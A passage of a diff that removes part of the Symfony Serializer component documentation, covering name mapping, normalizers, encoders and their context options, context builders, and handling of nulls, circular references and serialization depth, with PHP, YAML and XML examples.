-                #[SerializedName('customer_name')]
-                private string $firstName,
-            ) {
-            }
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        App\Entity\Person:
-            attributes:
-                firstName:
-                    serialized_name: customer_name
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Entity\Person">
-                <attribute name="firstName" serialized-name="customer_name"/>
-            </class>
-        </serializer>
-
-This custom mapping is used to convert property names when serializing and
-deserializing objects::
-
-    $serialized = $serializer->serialize(new Person('Kévin'), 'json');
-    // {"customer_name": "Kévin"}
-
-.. _serializing-boolean-attributes:
-
-Handling Boolean Attributes And Values
---------------------------------------
-
-During Serialization
-~~~~~~~~~~~~~~~~~~~~
-
-If you are using isser methods (methods prefixed by ``is``, like
-``App\Model\Person::isSportsperson()``), the Serializer component will
-automatically detect and use it to serialize related attributes.
-
-The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``get``,
-and ``can``.
-
-During Deserialization
-~~~~~~~~~~~~~~~~~~~~~~
-
-PHP considers many different values as true or false. For example, the
-strings ``true``, ``1``, and ``yes`` are considered true, while
-``false``, ``0``, and ``no`` are considered false.
-
-When deserializing, the Serializer component can take care of this
-automatically. This can be done by using the ``AbstractNormalizer::FILTER_BOOL``
-context option::
-
-    use Acme\Person;
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $normalizer = new ObjectNormalizer();
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->denormalize(['sportsperson' => 'yes'], Person::class, context: [AbstractNormalizer::FILTER_BOOL => true]);
-
-This context makes the deserialization process behave like the
-:phpfunction:`filter_var` function with the ``FILTER_VALIDATE_BOOL`` flag.
-
-.. versionadded:: 7.1
-
-    The ``AbstractNormalizer::FILTER_BOOL`` context option was introduced in Symfony 7.1.
-
-Using Callbacks to Serialize Properties with Object Instances
--------------------------------------------------------------
-
-When serializing, you can set a callback to format a specific object property::
-
-    use App\Model\Person;
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoder = new JsonEncoder();
-
-    // all callback parameters are optional (you can omit the ones you don't use)
-    $dateCallback = function (object $attributeValue, object $object, string $attributeName, ?string $format = null, array $context = []): string {
-        return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : '';
-    };
-
-    $defaultContext = [
-        AbstractNormalizer::CALLBACKS => [
-            'createdAt' => $dateCallback,
-        ],
-    ];
-
-    $normalizer = new GetSetMethodNormalizer(null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-
-    $person = new Person();
-    $person->setName('cordoval');
-    $person->setAge(34);
-    $person->setCreatedAt(new \DateTime('now'));
-
-    $serializer->serialize($person, 'json');
-    // Output: {"name":"cordoval", "age": 34, "createdAt": "2014-03-22T09:43:12-0500"}
-
-.. _component-serializer-normalizers:
-
-Normalizers
------------
-
-Normalizers turn **objects** into **arrays** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface` for
-normalizing (object to array) and
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface` for
-denormalizing (array to object).
-
-Normalizers are enabled in the serializer passing them as its first argument::
-
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $normalizers = [new ObjectNormalizer()];
-    $serializer = new Serializer($normalizers, []);
-
-Built-in Normalizers
-~~~~~~~~~~~~~~~~~~~~
-
-The Serializer component provides several built-in normalizers:
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-    This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>`
-    to read and write in the object. It means that it can access to properties
-    directly and through getters, setters, hassers, issers, canners, adders and removers.
-    It supports calling the constructor during the denormalization process.
-
-    Objects are normalized to a map of property names and values (names are
-    generated by removing the ``get``, ``set``, ``has``, ``is``, ``can``, ``add`` or ``remove``
-    prefix from the method name and transforming the first letter to lowercase; e.g.
-    ``getFirstName()`` -> ``firstName``).
-
-    The ``ObjectNormalizer`` is the most powerful normalizer. It is configured by
-    default in Symfony applications with the Serializer component enabled.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-    This normalizer reads the content of the class by calling the "getters"
-    (public methods starting with "get"). It will denormalize data by calling
-    the constructor and the "setters" (public methods starting with "set").
-
-    Objects are normalized to a map of property names and values (names are
-    generated by removing the ``get`` prefix from the method name and transforming
-    the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``).
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
-    This normalizer directly reads and writes public properties as well as
-    **private and protected** properties (from both the class and all of its
-    parent classes) by using `PHP reflection`_. It supports calling the constructor
-    during the denormalization process.
-
-    Objects are normalized to a map of property names to property values.
-
-    If you prefer to only normalize certain properties (e.g. only public properties)
-    set the ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and
-    combine the following values: ``PropertyNormalizer::NORMALIZE_PUBLIC``,
-    ``PropertyNormalizer::NORMALIZE_PROTECTED`` or ``PropertyNormalizer::NORMALIZE_PRIVATE``.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-    This normalizer works with classes that implement :phpclass:`JsonSerializable`.
-
-    It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and
-    then further normalize the result. This means that nested
-    :phpclass:`JsonSerializable` classes will also be normalized.
-
-    This normalizer is particularly helpful when you want to gradually migrate
-    from an existing codebase using simple :phpfunction:`json_encode` to the Symfony
-    Serializer by allowing you to mix which normalizers are used for which classes.
-
-    Unlike with :phpfunction:`json_encode` circular references can be handled.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
-    This normalizer converts :phpclass:`DateTimeInterface` objects (e.g.
-    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings,
-    integers or floats. By default, it converts them to strings using the `RFC3339`_ format.
-    To convert the objects to integers or floats, set the serializer context option
-    ``DateTimeNormalizer::CAST_KEY`` to ``int`` or ``float``.
-
-    .. versionadded:: 7.1
-
-        The ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-    This normalizer converts :phpclass:`DateTimeZone` objects into strings that
-    represent the name of the timezone according to the `list of PHP timezones`_.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
-    This normalizer converts :phpclass:`SplFileInfo` objects into a `data URI`_
-    string (``data:...``) such that files can be embedded into serialized data.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-    This normalizer converts :phpclass:`DateInterval` objects into strings.
-    By default, it uses the ``P%yY%mM%dDT%hH%iM%sS`` format.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-    This normalizer converts a \BackedEnum objects into strings or integers.
-
-    By default, an exception is thrown when data is not a valid backed enumeration. If you
-    want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
-    This normalizer works with classes that implement
-    :class:`Symfony\\Component\\Form\\FormInterface`.
-
-    It will get errors from the form and normalize them into a normalized array.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
-    This normalizer converts objects that implement
-    :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
-    into a list of errors according to the `RFC 7807`_ standard.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
-    Normalizes errors according to the API Problem spec `RFC 7807`_.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
-    Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
-    This normalizer converts objects that extend
-    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
-    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
-    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
-    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
-    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
-    You can change the string format by setting the serializer context option
-    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
-    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
-
-    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
-    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-    This normalizer converts objects that implement
-    :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` into
-    translated strings, using the
-    :method:`Symfony\\Contracts\\Translation\\TranslatableInterface::trans`
-    method. You can define the locale to use to translate the object by
-    setting the ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` serializer
-    context option.
-
-.. note::
-
-    You can also create your own Normalizer to use another structure. Read more at
-    :doc:`/serializer/custom_normalizer`.
-
-Certain normalizers are enabled by default when using the Serializer component
-in a Symfony application, additional ones can be enabled by tagging them with
-:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
-
-Here is an example of how to enable the built-in
-:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
-faster alternative to the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            get_set_method_normalizer:
-                class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer
-                tags: [serializer.normalizer]
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd"
-        >
-            <services>
-                <!-- ... -->
-
-                <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer">
-                    <tag name="serializer.normalizer"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-
-        return static function (ContainerConfigurator $container): void {
-            $container->services()
-                // ...
-                ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
-                    ->tag('serializer.normalizer')
-            ;
-        };
-
-.. _component-serializer-encoders:
-
-Encoders
---------
-
-Encoders turn **arrays** into **formats** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Encoder\\EncoderInterface`
-for encoding (array to format) and
-:class:`Symfony\\Component\\Serializer\\Encoder\\DecoderInterface` for decoding
-(format to array).
-
-You can add new encoders to a Serializer instance by using its second constructor argument::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoders = [new XmlEncoder(), new JsonEncoder()];
-    $serializer = new Serializer([], $encoders);
-
-Built-in Encoders
-~~~~~~~~~~~~~~~~~
-
-The Serializer component provides several built-in encoders:
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
-    This class encodes and decodes data in `JSON`_.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
-    This class encodes and decodes data in `XML`_.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
-    This encoder encodes and decodes data in `YAML`_. This encoder requires the
-    :doc:`Yaml Component </components/yaml>`.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
-    This encoder encodes and decodes data in `CSV`_.
-
-.. note::
-
-    You can also create your own Encoder to use another structure. Read more at
-    :doc:`/serializer/custom_encoders`.
-
-All these encoders are enabled by default when using the Serializer component
-in a Symfony application.
-
-The ``JsonEncoder``
-~~~~~~~~~~~~~~~~~~~
-
-The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP
-:phpfunction:`json_encode` and :phpfunction:`json_decode` functions. It can be
-useful to modify how these functions operate in certain instances by providing
-options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use the serialization
-context to pass in these options using the key ``json_encode_options`` or
-``json_decode_options`` respectively::
-
-    $this->serializer->serialize($data, 'json', ['json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION]);
-
-These are the options available:
-
-===============================  =========================================================================================================== ================================
-Option                           Description                                                                                                 Default
-===============================  ==========================================================================================================  ================================
-``json_decode_associative``      If set to true returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.           ``false``
-``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.  ``false``
-``json_decode_options``          `$flags`_ passed to :phpfunction:`json_decode` function.                                                    ``0``
-``json_encode_options``          `$flags`_ passed to :phpfunction:`json_encode` function.                                                    ``\JSON_PRESERVE_ZERO_FRACTION``
-``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
-===============================  ==========================================================================================================  ================================
-
-The ``CsvEncoder``
-~~~~~~~~~~~~~~~~~~
-
-The ``CsvEncoder`` encodes to and decodes from CSV.
-
-The ``CsvEncoder`` Context Options
-..................................
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the CsvEncoder an associative array::
-
-    $csvEncoder->encode($array, 'csv', $context);
-
-These are the options available:
-
-======================= ============================================================= ==========================
-Option                  Description                                                   Default
-======================= ============================================================= ==========================
-``csv_delimiter``       Sets the field delimiter separating values (one               ``,``
-                        character only)
-``csv_enclosure``       Sets the field enclosure (one character only)                 ``"``
-``csv_end_of_line``     Sets the character(s) used to mark the end of each            ``\n``
-                        line in the CSV file
-``csv_escape_char``     Deprecated. Sets the escape character (at most one character) empty string
-``csv_key_separator``   Sets the separator for array's keys during its                ``.``
-                        flattening
-``csv_headers``         Sets the order of the header and data columns
-                        E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
-                        and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
-                        then ``serialize($data, 'csv', $options)`` returns
-                        ``a,b,c\n1,2,3``                                              ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containing formulas by prepending them         ``false``
-                        with a ``\t`` character
-``as_collection``       Always returns results as a collection, even if only          ``true``
-                        one line is decoded.
-``no_headers``          Setting to ``false`` will use first row as headers.           ``false``
-                        ``true`` generate numeric headers.
-``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data          ``false``
-======================= ============================================================= ==========================
-
-.. deprecated:: 7.2
-
-    The ``csv_escape_char`` option and the ``CsvEncoder::ESCAPE_CHAR_KEY``
-    constant were deprecated in Symfony 7.2.
-
-The ``XmlEncoder``
-~~~~~~~~~~~~~~~~~~
-
-This encoder transforms arrays into XML and vice versa.
-
-For example, take an object normalized as following::
-
-    ['foo' => [1, 2], 'bar' => true];
-
-The ``XmlEncoder`` will encode this object like that:
-
-.. code-block:: xml
-
-    <?xml version="1.0" encoding="UTF-8" ?>
-    <response>
-        <foo>1</foo>
-        <foo>2</foo>
-        <bar>1</bar>
-    </response>
-
-The special ``#`` key can be used to define the data of a node::
-
-    ['foo' => ['@bar' => 'value', '#' => 'baz']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value">
-    //        baz
-    //     </foo>
-    // </response>
-
-Furthermore, keys beginning with ``@`` will be considered attributes, and
-the key  ``#comment`` can be used for encoding XML comments::
-
-    $encoder = new XmlEncoder();
-    $encoder->encode([
-        'foo' => ['@bar' => 'value'],
-        'qux' => ['#comment' => 'A comment'],
-    ], 'xml');
-    // will return:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value"/>
-    //     <qux><!-- A comment --!><qux>
-    // </response>
-
-You can pass the context key ``as_collection`` in order to have the results
-always as a collection.
-
-.. note::
-
-    You may need to add some attributes on the root node::
-
-        $encoder = new XmlEncoder();
-        $encoder->encode([
-            '@attribute1' => 'foo',
-            '@attribute2' => 'bar',
-            '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']]
-        ], 'xml');
-
-        // will return:
-        // <?xml version="1.0"?>
-        // <response attribute1="foo" attribute2="bar">
-        // <foo bar="value">baz</foo>
-        // </response>
-
-.. tip::
-
-    XML comments are ignored by default when decoding contents, but this
-    behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
-
-    Data with ``#comment`` keys are encoded to XML comments by default. This can be
-    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
-    key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
-    directly to the ``$context`` argument of the ``encode()`` method::
-
-        $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
-
-The ``XmlEncoder`` Context Options
-..................................
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the XmlEncoder an associative array::
-
-    $xmlEncoder->encode($array, 'xml', $context);
-
-These are the options available:
-
-==============================  =================================================  ==========================
-Option                          Description                                        Default
-==============================  =================================================  ==========================
-``xml_format_output``           If set to true, formats the generated XML with     ``false``
-                                line breaks and indentation
-``xml_version``                 Sets the XML version attribute                     ``1.0``
-``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
-``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
-``xml_type_cast_attributes``    This provides the ability to forget the attribute  ``true``
-                                type casting
-``xml_root_node_name``          Sets the root node name                            ``response``
-``as_collection``               Always returns results as a collection, even if    ``false``
-                                only one line is decoded
-``decoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
-                                to be ignored while decoding
-``encoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[]``
-                                to be ignored while encoding
-``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
-``save_options``                XML saving `options with libxml`_                  ``0``
-``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
-                                generated XML
-``cdata_wrapping``              If set to false, will not wrap any value           ``true``
-                                matching the ``cdata_wrapping_pattern`` regex in
-                                `a CDATA section`_ like following:
-                                ``<![CDATA[...]]>``
-``cdata_wrapping_pattern``      A regular expression pattern to determine if a     ``/[<>&]/``
-                                value should be wrapped in a CDATA section
-==============================  =================================================  ==========================
-
-.. versionadded:: 7.1
-
-    The ``cdata_wrapping_pattern`` option was introduced in Symfony 7.1.
-
-Example with custom ``context``::
-
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-
-    // create encoder with specified options as new default settings
-    $xmlEncoder = new XmlEncoder(['xml_format_output' => true]);
-
-    $data = [
-        'id' => 'IDHNQIItNyQ',
-        'date' => '2019-10-24',
-    ];
-
-    // encode with default context
-    $xmlEncoder->encode($data, 'xml');
-    // outputs:
-    // <?xml version="1.0"?>
-    // <response>
-    //   <id>IDHNQIItNyQ</id>
-    //   <date>2019-10-24</date>
-    // </response>
-
-    // encode with modified context
-    $xmlEncoder->encode($data, 'xml', [
-        'xml_root_node_name' => 'track',
-        'encoder_ignored_node_types' => [
-            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
-        ],
-    ]);
-    // outputs:
-    // <track>
-    //   <id>IDHNQIItNyQ</id>
-    //   <date>2019-10-24</date>
-    // </track>
-
-The ``YamlEncoder``
-~~~~~~~~~~~~~~~~~~~
-
-This encoder requires the :doc:`Yaml Component </components/yaml>` and
-transforms from and to Yaml.
-
-The ``YamlEncoder`` Context Options
-...................................
-
-The ``encode()`` method, like other encoder, uses ``context`` to set
-configuration options for the YamlEncoder an associative array::
-
-    $yamlEncoder->encode($array, 'yaml', $context);
-
-These are the options available:
-
-=============== ========================================================  ==========================
-Option          Description                                               Default
-=============== ========================================================  ==========================
-``yaml_inline`` The level where you switch to inline YAML                 ``0``
-``yaml_indent`` The level of indentation (used internally)                ``0``
-``yaml_flags``  A bit field of ``Yaml::DUMP_*`` / ``PARSE_*`` constants   ``0``
-                to customize the encoding / decoding YAML string
-=============== ========================================================  ==========================
-
-.. _component-serializer-context-builders:
-
-Context Builders
-----------------
-
-Instead of passing plain PHP arrays to the :ref:`serialization context <serializer_serializer-context>`,
-you can use "context builders" to define the context using a fluent interface::
-
-    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
-
-    $initialContext = [
-        'custom_key' => 'custom_value',
-    ];
-
-    $contextBuilder = (new ObjectNormalizerContextBuilder())
-        ->withContext($initialContext)
-        ->withGroups(['group1', 'group2']);
-
-    $contextBuilder = (new CsvEncoderContextBuilder())
-        ->withContext($contextBuilder)
-        ->withDelimiter(';');
-
-    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
-
-.. note::
-
-    The Serializer component provides a context builder
-    for each :ref:`normalizer <component-serializer-normalizers>`
-    and :ref:`encoder <component-serializer-encoders>`.
-
-    You can also :doc:`create custom context builders </serializer/custom_context_builders>`
-    to deal with your context values.
-
-.. deprecated:: 7.2
-
-    The ``CsvEncoderContextBuilder::withEscapeChar()`` method was deprecated
-    in Symfony 7.2.
-
-Skipping ``null`` Values
-------------------------
-
-By default, the Serializer will preserve properties containing a ``null`` value.
-You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option
-to ``true``::
-
-    $dummy = new class {
-        public ?string $foo = null;
-        public string $bar = 'notNull';
-    };
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
-    // ['bar' => 'notNull']
-
-Require all Properties
-----------------------
-
-By default, the Serializer will add ``null`` to nullable properties when the parameters for those are not provided.
-You can change this behavior by setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option
-to ``true``::
-
-    class Dummy
-    {
-        public function __construct(
-            public string $foo,
-            public ?string $bar,
-        ) {
-        }
-    }
-
-    $data = ['foo' => 'notNull'];
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true]);
-    // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
-
-Skipping Uninitialized Properties
----------------------------------
-
-In PHP, typed properties have an ``uninitialized`` state which is different
-from the default ``null`` of untyped properties. When you try to access a typed
-property before giving it an explicit value, you get an error.
-
-To avoid the Serializer throwing an error when serializing or normalizing an
-object with uninitialized properties, by default the object normalizer catches
-these errors and ignores such properties.
-
-You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES``
-context option to ``false``::
-
-    class Dummy {
-        public string $foo = 'initialized';
-        public string $bar; // uninitialized
-    }
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->normalize(new Dummy(), 'json', [AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false]);
-    // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException as normalizer cannot read uninitialized properties
-
-.. note::
-
-    Calling ``PropertyNormalizer::normalize`` or ``GetSetMethodNormalizer::normalize``
-    with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option set
-    to ``false`` will throw an ``\Error`` instance if the given object has uninitialized
-    properties as the normalizer cannot read them (directly or via getter/isser methods).
-
-.. _component-serializer-handling-circular-references:
-
-Collecting Type Errors While Denormalizing
-------------------------------------------
-
-When denormalizing a payload to an object with typed properties, you'll get an
-exception if the payload contains properties that don't have the same type as
-the object.
-
-In those situations, use the ``COLLECT_DENORMALIZATION_ERRORS`` option to
-collect all exceptions at once, and to get the object partially denormalized::
-
-    try {
-        $dto = $serializer->deserialize($request->getContent(), MyDto::class, 'json', [
-            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
-        ]);
-    } catch (PartialDenormalizationException $e) {
-        $violations = new ConstraintViolationList();
-        /** @var NotNormalizableValueException $exception */
-        foreach ($e->getErrors() as $exception) {
-            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
-            $parameters = [];
-            if ($exception->canUseMessageForUser()) {
-                $parameters['hint'] = $exception->getMessage();
-            }
-            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
-        }
-
-        return $this->json($violations, 400);
-    }
-
-Handling Circular References
-----------------------------
-
-Circular references are common when dealing with entity relations::
-
-    class Organization
-    {
-        private string $name;
-        private array $members;
-
-        public function setName($name): void
-        {
-            $this->name = $name;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function setMembers(array $members): void
-        {
-            $this->members = $members;
-        }
-
-        public function getMembers(): array
-        {
-            return $this->members;
-        }
-    }
-
-    class Member
-    {
-        private string $name;
-        private Organization $organization;
-
-        public function setName(string $name): void
-        {
-            $this->name = $name;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function setOrganization(Organization $organization): void
-        {
-            $this->organization = $organization;
-        }
-
-        public function getOrganization(): Organization
-        {
-            return $this->organization;
-        }
-    }
-
-To avoid infinite loops, :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-or :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-throw a :class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException`
-when such a case is encountered::
-
-    $member = new Member();
-    $member->setName('Kévin');
-
-    $organization = new Organization();
-    $organization->setName('Les-Tilleuls.coop');
-    $organization->setMembers([$member]);
-
-    $member->setOrganization($organization);
-
-    echo $serializer->serialize($organization, 'json'); // Throws a CircularReferenceException
-
-The key ``circular_reference_limit`` in the default context sets the number of
-times it will serialize the same object before considering it a circular
-reference. The default value is ``1``.
-
-Instead of throwing an exception, circular references can also be handled
-by custom callables. This is especially useful when serializing entities
-having unique identifiers::
-
-    $encoder = new JsonEncoder();
-    $defaultContext = [
-        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string {
-            return $object->getName();
-        },
-    ];
-    $normalizer = new ObjectNormalizer(null, null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-    var_dump($serializer->serialize($org, 'json'));
-    // {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]}
-
-.. _serializer_handling-serialization-depth:
-
-Handling Serialization Depth
-----------------------------
-
-The Serializer component is able to detect and limit the serialization depth.
-It is especially useful when serializing large trees. Assume the following data
-structure::
-
-    namespace Acme;
-
-    class MyObj
-    {
-        public string $foo;
-
-        /**
-         * @var self
-         */
-        public MyObj $child;
-    }
-
-    $level1 = new MyObj();
-    $level1->foo = 'level1';
-
-    $level2 = new MyObj();
-    $level2->foo = 'level2';
-    $level1->child = $level2;
-
-    $level3 = new MyObj();
-    $level3->foo = 'level3';
-    $level2->child = $level3;
-
-The serializer can be configured to set a maximum depth for a given property.
-Here, we set it to 2 for the ``$child`` property:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\MaxDepth;
-
-        class MyObj
-        {
-            #[MaxDepth(2)]
-            public MyObj $child;
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        Acme\MyObj:
-            attributes:
-                child:
-                    max_depth: 2
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="Acme\MyObj">
-                <attribute name="child" max-depth="2"/>
-            </class>
-        </serializer>
-
-The metadata loader corresponding to the chosen format must be configured in
-order to use this feature. It is done automatically when using the Serializer component
-in a Symfony application. When using the standalone component, refer to
-:ref:`the groups documentation <component-serializer-attributes-groups>` to
-learn how to do that.
-
-The check is only done if the ``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key of the serializer context
-is set to ``true``. In the following example, the third level is not serialized
-because it is deeper than the configured maximum depth of 2::
-
-    $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]);
-    /*
-    $result = [
-        'foo' => 'level1',
-        'child' => [
-            'foo' => 'level2',
-            'child' => [
-                'child' => null,
-            ],
-        ],
-    ];
